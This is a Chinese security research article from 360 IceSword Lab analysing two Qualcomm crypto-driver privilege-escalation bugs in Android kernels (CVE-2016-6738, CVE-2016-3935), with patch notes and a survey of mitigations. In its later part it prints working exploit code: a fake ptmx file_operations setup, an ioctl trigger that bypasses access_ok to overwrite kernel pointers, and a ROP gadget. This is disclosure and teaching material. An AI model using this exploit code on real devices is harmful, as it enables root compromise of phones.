2017-08-09 15:03:09
阅读:1069次
点赞(0)
收藏
来源: iceswordlab.com
作者:360 icesword lab
作者:jiayy(@chengjia4574)
前言
CVE-2016-3935 和 CVE-2016-6738 是我们发现的高通加解密引擎(Qualcomm crypto engine)的两个提权漏洞,分别在2016年10月和11月的谷歌android漏洞榜被公开致谢,同时高通也在2016年10月和11月的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了exploit并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。
背景知识
高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动
-qcryptodriver:供内核态程序使用的加解密接口 -qcedevdriver:供用户态程序使用的加解密接口 -qcedriver:与加解密芯片交互,提供加解密驱动底层接口 Documentation/crypto/msm/qce.txt linuxkernel (ex:IPSec)<--*Qualcommcryptodriver----+ (qcrypto)| (forkernelspaceapp)| | +-->| | |*qce<---->Qualcomm |driverADMdriver<--->ADMHW +-->||| ||| ||| ||| Linuxkernel||| miscdevice<---*QCEDEVDriver-------+|| interface(qcedev)(Reginterface)(DMAinterface) (foruserspaceapp)\/ \/ \/ \/ \/ \/ \/ QualcommcryptoCE3HW qcedev driver 就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。Documentation/crypto/msm/qcedev.txt CipherIOCTLs: -------------- QCEDEV_IOCTL_ENC_REQisforencryptingdata. QCEDEV_IOCTL_DEC_REQisfordecryptingdata. ThecalleroftheIOCTLpassesapointertothestructureshown below,asthesecondparameter. structqcedev_cipher_op_req{ intuse_pmem; union{ structqcedev_pmem_infopmem; structqcedev_vbuf_infovbuf; }; uint32_tentries; uint32_tdata_len; uint8_tin_place_op; uint8_tenckey[QCEDEV_MAX_KEY_SIZE]; uint32_tencklen; uint8_tiv[QCEDEV_MAX_IV_SIZE]; uint32_tivlen; uint32_tbyteoffset; enumqcedev_cipher_alg_enumalg; enumqcedev_cipher_mode_enummode; enumqcedev_oper_enumop; };
加解密服务的核心结构体是 struct qcedev_cipher_op_req, 其中, 待加/解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。
Documentation/crypto/msm/qcedev.txt Hashing/HMACIOCTLs ------------------- QCEDEV_IOCTL_SHA_INIT_REQisforinitializingahash/hmacrequest. QCEDEV_IOCTL_SHA_UPDATE_REQisforupdatinghash/hmac. QCEDEV_IOCTL_SHA_FINAL_REQisforendingthehash/macrequest. QCEDEV_IOCTL_GET_SHA_REQisforretrievingthehash/hmacfordata packetofknownsize. QCEDEV_IOCTL_GET_CMAC_REQisforretrievingtheMAC(usingAESCMAC algorithm)fordatapacketofknownsize. ThecalleroftheIOCTLpassesapointertothestructureshown below,asthesecondparameter. structqcedev_sha_op_req{ structbuf_infodata[QCEDEV_MAX_BUFFERS]; uint32_tentries; uint32_tdata_len; uint8_tdigest[QCEDEV_MAX_SHA_DIGEST]; uint32_tdiglen; uint8_t*authkey; uint32_tauthklen; enumqcedev_sha_alg_enumalg; structqcedev_sha_ctxtctxt; };哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里,entries 是待处理数据的份数,data_len 是总长度。
漏洞成因
可以通过下面的方法获取本文的漏洞代码
*gitclonehttps://android.googlesource.com/kernel/msm.git *gitcheckoutandroid-msm-angler-3.10-nougat-mr2 *gitcheckout6cc52967be8335c6f53180e30907f405504ce3dddrivers/crypto/msm/qcedev.cCVE-2016-6738 漏洞成因
可以通过下面的方法获取本文的漏洞代码
现在,我们来看第一个漏洞 cve-2016-6738
介绍漏洞之前,先科普一下linux kernel 的两个小知识点
1) linux kernel 的用户态空间和内核态空间是怎么划分的?
简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址
2) linux kernel 用户态和内核态之间数据怎么传输?
不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:
copy_from_user/copy_to_user/get_user/put_user这4个接口会对目标地址进行合法性校验,比如:
copy_to_user=access_ok+__copy_to_user//__copy_to_user可以理解为是memcpy下面看漏洞代码
file:drivers/crypto/msm/qcedev.c longqcedev_ioctl(structfile*file,unsignedcmd,unsignedlongarg) { ... switch(cmd){ caseQCEDEV_IOCTL_ENC_REQ: caseQCEDEV_IOCTL_DEC_REQ: if(!access_ok(VERIFY_WRITE,(void__user*)arg, sizeof(structqcedev_cipher_op_req))) return-EFAULT; if(__copy_from_user(&qcedev_areq.cipher_op_req, (void__user*)arg, sizeof(structqcedev_cipher_op_req))) return-EFAULT; qcedev_areq.op_type=QCEDEV_CRYPTO_OPER_CIPHER; if(qcedev_check_cipher_params(&qcedev_areq.cipher_op_req, podev)) return-EINVAL; err=qcedev_vbuf_ablk_cipher(&qcedev_areq,handle); if(err) returnerr; if(__copy_to_user((void__user*)arg, &qcedev_areq.cipher_op_req, sizeof(structqcedev_cipher_op_req))) return-EFAULT; break; ... } return0; err: debugfs_remove_recursive(_debug_dent); returnrc; }当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command 是 QCEDEV_IOCTL_ENC_REQ(加密)或者 QCEDEV_IOCTL_DEC_REQ(解密),最后都会调用函数 qcedev_vbuf_ablk_cipher 进行处理。
file:drivers/crypto/msm/qcedev.c staticintqcedev_vbuf_ablk_cipher(structqcedev_async_req*areq, structqcedev_handle*handle) { ... structqcedev_cipher_op_req*creq=&areq->cipher_op_req; /*VerifySourceAddress's*/ for(i=0;i<areq->cipher_op_req.entries;i++) if(!access_ok(VERIFY_READ, (void__user*)areq->cipher_op_req.vbuf.src[i].vaddr, areq->cipher_op_req.vbuf.src[i].len)) return-EFAULT; /*VerifyDestinationAddress's*/ if(creq->in_place_op!=1){ for(i=0,total=0;i<QCEDEV_MAX_BUFFERS;i++){ if((areq->cipher_op_req.vbuf.dst[i].vaddr!=0)&& (total<creq->data_len)){ if(!access_ok(VERIFY_WRITE, (void__user*)creq->vbuf.dst[i].vaddr, creq->vbuf.dst[i].len)){ pr_err("%s:DSTWR_VERIFYerr%d=0x%lx\n", __func__,i,(uintptr_t) creq->vbuf.dst[i].vaddr); return-EFAULT; } total+=creq->vbuf.dst[i].len; } } }else{ for(i=0,total=0;i<creq->entries;i++){ if(total<creq->data_len){ if(!access_ok(VERIFY_WRITE, (void__user*)creq->vbuf.src[i].vaddr, creq->vbuf.src[i].len)){ pr_err("%s:SRCWR_VERIFYerr%d=0x%lx\n", __func__,i,(uintptr_t) creq->vbuf.src[i].vaddr); return-EFAULT; } total+=creq->vbuf.src[i].len; } } } total=0; ... if(areq->cipher_op_req.data_len>max_data_xfer){ ... }else err=qcedev_vbuf_ablk_cipher_max_xfer(areq,&di,handle, ...k_align_src); returnerr; }在 qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址
这时候我们发现,当变量 creq->in_place_op 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验 这里的 creq->in_place_op 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 creq->in_place_op = 1 来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞 file:drivers/crypto/msm/qcedev.c staticintqcedev_vbuf_ablk_cipher_max_xfer(structqcedev_async_req*areq, int*di,structqcedev_handle*handle, uint8_t*k_align_src) { ... uint8_t*k_align_dst=k_align_src; structqcedev_cipher_op_req*creq=&areq->cipher_op_req; if(areq->cipher_op_req.mode==QCEDEV_AES_MODE_CTR) byteoffset=areq->cipher_op_req.byteoffset; user_src=(void__user*)areq->cipher_op_req.vbuf.src[0].vaddr; if(user_src&&__copy_from_user((k_align_src+byteoffset), (void__user*)user_src, areq->cipher_op_req.vbuf.src[0].len)) return-EFAULT; k_align_src+=byteoffset+areq->cipher_op_req.vbuf.src[0].len; for(i=1;i<areq->cipher_op_req.entries;i++){ user_src= (void__user*)areq->cipher_op_req.vbuf.src[i].vaddr; if(user_src&&__copy_from_user(k_align_src, (void__user*)user_src, areq->cipher_op_req.vbuf.src[i].len)){ return-EFAULT; } k_align_src+=areq->cipher_op_req.vbuf.src[i].len; } ... while(creq->data_len>0){ if(creq->vbuf.dst[dst_i].len<=creq->data_len){ if(err==0&&__copy_to_user( (void__user*)creq->vbuf.dst[dst_i].vaddr, (k_align_dst+byteoffset), creq->vbuf.dst[dst_i].len)) return-EFAULT; k_align_dst+=creq->vbuf.dst[dst_i].len+ byteoffset; creq->data_len-=creq->vbuf.dst[dst_i].len; dst_i++; }else{ if(err==0&&__copy_to_user( (void__user*)creq->vbuf.dst[dst_i].vaddr, (k_align_dst+byteoffset), creq->data_len)) return-EFAULT; k_align_dst+=creq->data_len; creq->vbuf.dst[dst_i].len-=creq->data_len; creq->vbuf.dst[dst_i].vaddr+=creq->data_len; creq->data_len=0; } } *di=dst_i; returnerr; }; 在函数 qcedev_vbuf_ablk_cipher_max_xfer 里,我们发现它没有再用到变量 creq->in_place_op, 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用 __copy_to_user 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr 由于 __copy_to_user 本质上只是 memcpy, 且 __copy_to_user 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。接下去我们看一下能写什么值
file:drivers/crypto/msm/qcedev.c while(creq->data_len>0){ if(creq->vbuf.dst[dst_i].len<=creq->data_len){ if(err==0&&__copy_to_user( (void__user*)creq->vbuf.dst[dst_i].vaddr, (k_align_dst+byteoffset), creq->vbuf.dst[dst_i].len)) return-EFAULT; k_align_dst+=creq->vbuf.dst[dst_i].len+ byteoffset; creq->data_len-=creq->vbuf.dst[dst_i].len; dst_i++; }else{再看一下漏洞触发的地方,源地址是 k_align_dst ,这是一个局部变量,下面看这个地址的内容能否控制。
staticintqcedev_vbuf_ablk_cipher_max_xfer(structqcedev_async_req*areq, int*di,structqcedev_handle*handle, uint8_t*k_align_src) { interr=0; inti=0; intdst_i=*di; structscatterlistsg_src; uint32_tbyteoffset=0; uint8_t*user_src=NULL; uint8_t*k_align_dst=k_align_src; structqcedev_cipher_op_req*creq=&areq->cipher_op_req; if(areq->cipher_op_req.mode==QCEDEV_AES_MODE_CTR) byteoffset=areq->cipher_op_req.byteoffset; user_src=(void__user*)areq->cipher_op_req.vbuf.src[0].vaddr; if(user_src&&__copy_from_user((k_align_src+byteoffset),//line1160 (void__user*)user_src, areq->cipher_op_req.vbuf.src[0].len)) return-EFAULT; k_align_src+=byteoffset+areq->cipher_op_req.vbuf.src[0].len;在函数 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,变量 k_align_dst 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完
1178/*restoresrcbeginning*/ 1179k_align_src=k_align_dst; 1180areq->cipher_op_req.data_len+=byteoffset; 1181 1182areq->cipher_req.creq.src=(structscatterlist*)&sg_src; 1183areq->cipher_req.creq.dst=(structscatterlist*)&sg_src; 1184 1185/*Inplaceencryption/decryption*/ 1186sg_set_buf(areq->cipher_req.creq.src, 1187k_align_dst, 1188areq->cipher_op_req.data_len); 1189sg_mark_end(areq->cipher_req.creq.src); 1190 1191areq->cipher_req.creq.nbytes=areq->cipher_op_req.data_len; 1192areq->cipher_req.creq.info=areq->cipher_op_req.iv; 1193areq->cipher_op_req.entries=1; 1194 1195err=submit_req(areq,handle); 1196 1197/*copydatatodestinationbuffer*/ 1198creq->data_len-=byteoffset; 行1195调用函数 submit_req ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 sg_set_buf 完成,通过行 1186 可以看到,变量 k_align_dst 就是被传进去的 buffer , 经过这个操作后, 变量 k_align_dst 的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。那么我们怎么控制最终写到任意地址的那个值呢?
思路很直接,我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密,如下:
1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key进行加密
buf=A op=QCEDEV_OPER_ENC//operation为加密 alg=QCEDEV_ALG_DES//算法 mode=QCEDEV_DES_MODE_ECB key=xxx//秘钥 =>B2) 然后将B作为参数传入 qcedev_vbuf_ablk_cipher_max_xfer 函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key
buf=B op=QCEDEV_OPER_DEC////operation为解密 alg=QCEDEV_ALG_DES//一样的算法 mode=QCEDEV_DES_MODE_ECB key=xxx//一样的秘钥 =>A这样的话,经过 submit_req 操作后, line 1204 得到的 k_align_dst 就是我们需要的数据。
至此,我们得到了一个任意地址写任意值的漏洞。
CVE-2016-6738 漏洞补丁
这个 漏洞的修复 很直观,将 in_place_op 的判断去掉了,对 creq->vbuf.src 和 creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验
下面看第二个漏洞
CVE-2016-3935 漏洞成因
longqcedev_ioctl(structfile*file,unsignedcmd,unsignedlongarg) { ... switch(cmd){ ... caseQCEDEV_IOCTL_SHA_INIT_REQ: { structscatterlistsg_src; if(!access_ok(VERIFY_WRITE,(void__user*)arg, sizeof(structqcedev_sha_op_req))) return-EFAULT; if(__copy_from_user(&qcedev_areq.sha_op_req, (void__user*)arg, sizeof(structqcedev_sha_op_req))) return-EFAULT; if(qcedev_check_sha_params(&qcedev_areq.sha_op_req,podev)) return-EINVAL; ... break; ... caseQCEDEV_IOCTL_SHA_UPDATE_REQ: { structscatterlistsg_src; if(!access_ok(VERIFY_WRITE,(void__user*)arg, sizeof(structqcedev_sha_op_req))) return-EFAULT; if(__copy_from_user(&qcedev_areq.sha_op_req, (void__user*)arg, sizeof(structqcedev_sha_op_req))) return-EFAULT; if(qcedev_check_sha_params(&qcedev_areq.sha_op_req,podev)) return-EINVAL; ... break; ... default: return-ENOTTY; } returnerr; }在 command 为下面几个case 里都会调用 qcedev_check_sha_params 函数对用户态传入的数据进行合法性校验
QCEDEV_IOCTL_SHA_INIT_REQ
QCEDEV_IOCTL_SHA_UPDATE_REQ
QCEDEV_IOCTL_SHA_FINAL_REQ
QCEDEV_IOCTL_GET_SHA_REQ
staticintqcedev_check_sha_params(structqcedev_sha_op_req*req, structqcedev_control*podev) { uint32_ttotal=0; uint32_ti; ... /*Checkforsumofallsrclengthisequaltodata_len*/ for(i=0,total=0;i<req->entries;i++){ if(req->data[i].len>ULONG_MAX-total){ pr_err("%s:Integeroverflowontotalreqbuflength\n", __func__); gotosha_error; } total+=req->data[i].len; } if(total!=req->data_len){ pr_err("%s:Totalsrc(%d)bufsize!=data_len(%d)\n", __func__,total,req->data_len); gotosha_error; } return0; sha_error: return-EINVAL; }qcedev_check_sha_params 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验
问题在于, req->data[i].len 是 uint32_t 类型, 总长度 total 也是 uint32_t 类型,uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验 usr/include/limits.h /*Maximumvaluean`unsignedlongint'canhold.(Minimumis0.)*/ #if__WORDSIZE==64 #defineULONG_MAX18446744073709551615UL #else #defineULONG_MAX4294967295UL #endif注意到:
32 bit 系统, UINT_MAX = ULONG_MAX
64 bit 系统, UINT_MAX != ULONG_MAX
所以这里的整数溢出校验 在64bit系统是无效的,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。
下面看看有何影响,我们选取 case QCEDEV_IOCTL_SHA_UPDATE_REQ
longqcedev_ioctl(structfile*file,unsignedcmd,unsignedlongarg) { ... caseQCEDEV_IOCTL_SHA_UPDATE_REQ: { structscatterlistsg_src; if(!access_ok(VERIFY_WRITE,(void__user*)arg, sizeof(structqcedev_sha_op_req))) return-EFAULT; if(__copy_from_user(&qcedev_areq.sha_op_req, (void__user*)arg, sizeof(structqcedev_sha_op_req))) return-EFAULT; if(qcedev_check_sha_params(&qcedev_areq.sha_op_req,podev)) return-EINVAL; qcedev_areq.op_type=QCEDEV_CRYPTO_OPER_SHA; if(qcedev_areq.sha_op_req.alg==QCEDEV_ALG_AES_CMAC){ err=qcedev_hash_cmac(&qcedev_areq,handle,&sg_src); if(err) returnerr; }else{ if(handle->sha_ctxt.init_done==false){ pr_err("%sInitwasnotcalled\n",__func__); return-EINVAL; } err=qcedev_hash_update(&qcedev_areq,handle,&sg_src); if(err) returnerr; } memcpy(&qcedev_areq.sha_op_req.digest[0], &handle->sha_ctxt.digest[0], handle->sha_ctxt.diglen); if(__copy_to_user((void__user*)arg,&qcedev_areq.sha_op_req, sizeof(structqcedev_sha_op_req))) return-EFAULT; } break; ... returnerr; }qcedev_areq.sha_op_req.alg 的值也是应用层控制的,当等于 QCEDEV_ALG_AES_CMAC 时,进入函数 qcedev_hash_cmac
868staticintqcedev_hash_cmac(structqcedev_async_req*qcedev_areq, 869structqcedev_handle*handle, 870structscatterlist*sg_src) 871{ 872interr=0; 873inti=0; 874uint32_ttotal; 875 876uint8_t*user_src=NULL; 877uint8_t*k_src=NULL; 878uint8_t*k_buf_src=NULL; 879 880total=qcedev_areq->sha_op_req.data_len; 881 882/*verifyaddresssrc(s)*/ 883for(i=0;i<qcedev_areq->sha_op_req.entries;i++) 884if(!access_ok(VERIFY_READ, 885(void__user*)qcedev_areq->sha_op_req.data[i].vaddr, 886qcedev_areq->sha_op_req.data[i].len)) 887return-EFAULT; 888 889/*VerifySourceAddress*/ 890if(!access_ok(VERIFY_READ, 891(void__user*)qcedev_areq->sha_op_req.authkey, 892qcedev_areq->sha_op_req.authklen)) 893return-EFAULT; 894if(__copy_from_user(&handle->sha_ctxt.authkey[0], 895(void__user*)qcedev_areq->sha_op_req.authkey, 896qcedev_areq->sha_op_req.authklen)) 897return-EFAULT; 898 899 900k_buf_src=kmalloc(total,GFP_KERNEL); 901if(k_buf_src==NULL){ 902pr_err("%s:Can'tAllocatememory:k_buf_src0x%lx\n", 903__func__,(uintptr_t)k_buf_src); 904return-ENOMEM; 905} 906 907k_src=k_buf_src; 908 909/*Copydatafromusersrc(s)*/ 910user_src=(void__user*)qcedev_areq->sha_op_req.data[0].vaddr; 911for(i=0;i<qcedev_areq->sha_op_req.entries;i++){ 912user_src= 913(void__user*)qcedev_areq->sha_op_req.data[i].vaddr; 914if(user_src&&__copy_from_user(k_src,(void__user*)user_src, 915qcedev_areq->sha_op_req.data[i].len)){ 916kzfree(k_buf_src); 917return-EFAULT; 918} 919k_src+=qcedev_areq->sha_op_req.data[i].len; 920} ... }在函数 qcedev_hash_cmac 里, line 900 申请的堆内存 k_buf_src 的长度是 qcedev_areq->sha_op_req.data_len ,即请求数组里所有项的长度之和
然后在 line 911 ~ 920 的循环里,会将请求数组 qcedev_areq->sha_op_req.data[] 里的元素挨个拷贝到堆 k_buf_src 里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。CVE-2016-3935 漏洞补丁
这个 漏洞补丁 也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞
下面进入漏洞利用分析
漏洞利用
android kernel 漏洞利用基础
include/linux/sched.h structtask_struct{ volatilelongstate;/*-1unrunnable,0runnable,>0stopped*/ void*stack; ... /*processcredentials*/ conststructcred__rcu*real_cred;/*objectiveandrealsubjectivetask *credentials(COW)*/ conststructcred__rcu*cred;/*effective(overridable)subjectivetask *credentials(COW)*/ charcomm[TASK_COMM_LEN];/*executablenameexcludingpath -accesswith[gs]et_task_comm(whichlock itwithtask_lock()) -initializednormallybysetup_new_exec*/ ... } linux kernel 里,进程由 struct task_struct 表示,进程的权限由该结构体的两个成员 real_cred 和 cred 表示include/linux/cred.h structcred{ atomic_tusage; #ifdefCONFIG_DEBUG_CREDENTIALS atomic_tsubscribers;/*numberofprocessessubscribed*/ void*put_addr; unsignedmagic; #defineCRED_MAGIC0x43736564 #defineCRED_MAGIC_DEAD0x44656144 #endif kuid_tuid;/*realUIDofthetask*/ kgid_tgid;/*realGIDofthetask*/ kuid_tsuid;/*savedUIDofthetask*/ kgid_tsgid;/*savedGIDofthetask*/ kuid_teuid;/*effectiveUIDofthetask*/ kgid_tegid;/*effectiveGIDofthetask*/ kuid_tfsuid;/*UIDforVFSops*/ kgid_tfsgid;/*GIDforVFSops*/ ... }
所谓提权,就是修改进程的 real_cred/cred 这两个结构体的各种 id 值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:
怎么找到目标 cred ?
cred 所在内存页面是否可写?
如何利用漏洞往 cred 所在地址写值?
利用方法回顾
图片来自:http://powerofcommunity.net/poc2016/x82.pdf
上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,
09 ~ 10 年的时候,由于没有对 mmap 的地址范围做任何限制,应用层可以映射0页面,null pointer deref 漏洞在当时也是可以做利用的,后面针对这种漏洞推出了 mmap_min_addr 限制,目前 null pointer deref 漏洞一般只能造成 dos.
11 ~ 13 年的时候,常用的提权套路是从 /proc/kallsyms 搜索符号 commit_creds 和 prepare_kernel_cred 的地址,然后在用户态通过这两个符号构造一个提权函数(如下),
shellcode: staticvoid obtain_root_privilege_by_commit_creds(void) { commit_creds(prepare_kernel_cred(0)); }可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针(最常见的就是 ptmx 驱动的 fsync 函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数, 这样的话从内核直接执行用户态的提权函数完成提权
这种方法在开源root套件 android_run_root_shell 得到了充分提现
后来,内核推出了kptr_restrict/dmesg_restrict 措施使得默认配置下无法从 /proc/kallsyms 等接口搜索内核符号的地址
但是这种缓解措施很容易绕过, android_run_root_shell 里提供了两种方法:
1. 通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到 commit_creds/prepare_kernel_cred 的值;
libkallsyms:get_kallsyms_in_memory_addresses
2. 放弃使用 commit_creds/prepare_kernel_cred 这两个内核函数,从内核里直接定位到 task_struct 和 cred 结构并改写
obtain_root_privilege_by_modify_task_cred
2013 推出 text RO 和 PXN 等措施,通过漏洞改写内核代码段或者直接跳转到用户态执行用户态函数的提权方式失效了, android_run_root_shell 这个项目里的方法大部分已经失效, 在 PXN 时代,主要的提权思路是使用rop
具体的 rop 技巧有几种,
下面两篇文章讲了基本的 linux kernel ROP 技巧
Linux Kernel ROP - Ropping your way to # (Part 1)/)
Linux Kernel ROP - Ropping your way to # (Part 2)/)
可以看到这两篇文章的方法是搜索一些 rop 指令 ,然后用它们串联 commit_creds/prepare_kernel_cred, 是对上一阶段思路的自然延伸。
使用 rop 改写 addr_limit 的值,破除本进程的系统调用 access_ok 校验,然后通过一些函数如 ptrace_write_value_at_address 直接读写内核来提权, 将 selinux_enforcing 变量写0关闭 selinux
大名鼎鼎的 Ret2dir bypass PXN
还有就是本文使用的思路,用漏洞重定向内核驱动的 xxx_operations 结构体指针到应用层,再用 rop 地址填充应用层的伪 xxx_operations 里的函数实现
还有一些 2017 新出来的绕过缓解措施的技巧,参考
进入2017年,更多的漏洞缓解措施正在被开发和引进,谷歌的nick正在主导开发的项目 Kernel_Self_Protection_Project 对内核漏洞提权方法进行了分类整理,如下
Kernel location
Text overwrite
Function pointer overwrite
Userspace execution
Userspace data usage
Reused code chunks
针对以上提权方法,Kernel_Self_Protection_Project 开发了对应的一系列缓解措施,目前这些措施正在逐步推入linux kernel 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效
Split thread_info off of kernel stack (Done: x86, arm64, s390. Needed on arm, powerpc and others?) * Move kernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc and others?)
Implement kernel relocation and KASLR for ARM
Write a plugin to clear struct padding
Write a plugin to do format string warnings correctly (gcc’s -Wformat-security is bad about const strings)
Make CONFIG_STRICT_KERNEL_RWX and CONFIG_STRICT_MODULE_RWX mandatory (done for arm64 and x86, other archs still need it)
Convert remaining BPF JITs to eBPF JIT (with blinding) (In progress: arm)
Write lib/test_bpf.c tests for eBPF constant blinding
Further restriction of perf_event_open (e.g. perf_event_paranoid=3)
Extend HARDENED_USERCOPY to use slab whitelisting (in progress)
Extend HARDENED_USERCOPY to split user-facing malloc()s and in-kernel malloc()svmalloc stack guard pages (in progress)
protect ARM vector table as fixed-location kernel target
disable kuser helpers on arm
rename CONFIG_DEBUG_LIST better and default=y
add WARN path for page-spanning usercopy checks (instead of the separate CONFIG)
create UNEXPECTED(), like BUG() but without the lock-busting, etc
create defconfig “make” target for by-default hardened Kconfigs (using guidelines below)
provide mechanism to check for ro_after_init memory areas, and reject structures not marked ro_after_init in vmbus_register()
expand use of __ro_after_init, especially in arch/arm64
Add stack-frame walking to usercopy implementations (Done: x86. In progress: arm64. Needed on arm, others?)
restrict autoloading of kernel modules (like GRKERNSEC_MODHARDEN) (In progress: Timgad LSM)
有兴趣的同学可以进入该项目看看代码,提前了解一下缓解措施,
比如 KASLR for ARM, 将大部分内核对象的地址做了随机化处理,这是以后 android kernel exploit 必须面对的;
另外比如 __ro_after_init ,内核启动完成初始化之后大部分 fops 全局变量都变成 readonly 的,这造成了本文这种利用方法失效, 所幸的是,目前 android kernel 还是可以用的。
本文使用的利用方法
对照 Kernel_Self_Protection_Project 的利用分类,本文的利用思路属于 Userspace data usage
Sometimes an attacker won’t be able to control the instruction pointer directly, but they will be able to redirect the dereference a structure or other pointer. In these cases, it is easiest to aim at malicious structures that have been built in userspace to perform the exploitation.
具体来说,我们在应用层构造一个伪 file_operations 结构体(其他如 tty_operations 也可以),然后通过漏洞改写内核某一个驱动的 fops指针,将其改指向我们在应用层伪造的结构体,之后,我们搜索特定的 rop 并随时替换这个伪 file_operations 结构体里的函数实现,就可以做到在内核多次执行任意代码(取决于rop) ,这种方法的好处包括:
内核有很多驱动,所以 fops 非常多,地址上也比较分散,对一些溢出类漏洞来说,选择比较多
内核的 fops 一般都存放在 writable 的 data 区,至少目前android 主流 kernel 依然如此
将内核的 fops 指向用户空间后,用户空间可以随意改写其内部函数的实现
只需要一次内核写
下面结合漏洞说明怎么利用
CVE-2016-6738 漏洞利用
CVE-2016-6738 是一个任意地址写任意值的漏洞,利用代码已经提交在EXP-CVE-2016-6738
我们选择重定向 /dev/ptmx 设备的 file_operations, 先在用户态构造一个伪结构,如下map=mmap(0x1000000,(size_t)0x10000,PROT_READ|PROT_WRITE,MAP_ANONYMOUS|MAP_PRIVATE,-1,(off_t)0); if(map==MAP_FAILED){ printf("[-]Failedtommaplanding(%d-%s)\n",errno,strerror(errno)); ret=-1; gotoout; } //printf("[+]landingmmap'ed@%p\n",map); memset(map,0x0,0x10000); fake_ptmx_fops=map; printf("[+]fake_ptmx_fops=0x%lx\n",fake_ptmx_fops); *(unsignedlong*)(fake_ptmx_fops+1*8)=PTMX_LLSEEK; *(unsignedlong*)(fake_ptmx_fops+2*8)=PTMX_READ; *(unsignedlong*)(fake_ptmx_fops+3*8)=PTMX_WRITE; *(unsignedlong*)(fake_ptmx_fops+8*8)=PTMX_POLL; *(unsignedlong*)(fake_ptmx_fops+9*8)=PTMX_IOCTL; *(unsignedlong*)(fake_ptmx_fops+10*8)=COMPAT_PTMX_IOCTL; *(unsignedlong*)(fake_ptmx_fops+12*8)=PTMX_OPEN; *(unsignedlong*)(fake_ptmx_fops+14*8)=PTMX_RELEASE; *(unsignedlong*)(fake_ptmx_fops+17*8)=PTMX_FASYNC;
根据前面的分析,伪结构的值需要先做一次加密,再使用
unsignedlongedata=0; qcedev_encrypt(fd,fake_ptmx_fops,&edata); trigger(fd,edata);下面是核心的函数
staticinttrigger(intfd,unsignedlongsrc) { intcmd; intret; intsize; unsignedlongdst; structqcedev_cipher_op_reqparams; dst=PTMX_MISC+8*9;//patchptmx_cdev->ops size=sizeof(unsignedlong); memset(¶ms,0,sizeof(params)); cmd=QCEDEV_IOCTL_DEC_REQ; params.entries=1; params.in_place_op=1;//bypassaccess_okcheckofcreq->vbuf.dst[i].vaddr params.alg=QCEDEV_ALG_DES; params.mode=QCEDEV_DES_MODE_ECB; params.data_len=size; params.vbuf.src[0].len=size; params.vbuf.src[0].vaddr=&src; params.vbuf.dst[0].len=size; params.vbuf.dst[0].vaddr=dst; memcpy(params.enckey,"test",16); params.encklen=16; printf("[+]overwriteptmx_cdevops\n"); ret=ioctl(fd,cmd,¶ms);//trigger if(ret==-1){ printf("[-]Ioctlqcedevfail(%s-%d)\n",strerror(errno),errno); return-1; } return0; } 参数 src 就是 fake_ptmx_fops 加密后的值,我们将其地址放入 qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目标地址 qcedev_cipher_op_req.vbuf.dst[0].vaddr 存放 ptmx_cdev->ops 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址 ptmx_cdev->ops 的值会被覆盖为 fake_ptmx_fops.此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些rop 片段来实现伪函数,就可以被内核直接调用。
/* *ropwrite: *ffffffc000671a58:b9000041strw1,[x2] *ffffffc000671a5c:d65f03c0ret */ #defineROP_WRITE0xffffffc000671a58 比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。
